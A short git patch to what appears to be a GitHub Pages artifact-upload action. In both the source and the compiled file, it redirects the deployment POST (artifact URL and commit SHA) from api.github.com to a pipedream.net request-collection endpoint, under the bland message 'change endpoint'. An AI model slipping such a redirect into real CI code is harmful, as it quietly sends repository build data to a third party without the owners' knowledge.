From 4aebf2942a5e00e2dfc1a698c3790c84af2a4f9e Mon Sep 17 00:00:00 2001 From: yimysty Date: Thu, 23 Sep 2021 00:05:28 -0700 Subject: [PATCH] change endpoint --- dist/index.js | 2 +- src/upload-artifact.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/index.js b/dist/index.js index 83ff28b..037e2c0 100644 --- a/dist/index.js +++ b/dist/index.js @@ -5561,7 +5561,7 @@ function run() { else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`); // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net - response = yield axios_1.default.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { + response = yield axios_1.default.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, { diff --git a/src/upload-artifact.ts b/src/upload-artifact.ts index e419150..021a217 100644 --- a/src/upload-artifact.ts +++ b/src/upload-artifact.ts @@ -85,7 +85,7 @@ async function run(): Promise { } else { console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`) // https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net - response = await axios.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, { + response = await axios.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, { artifact_url: unsignedUrl, pages_build_version: process.env['GITHUB_SHA'] }, {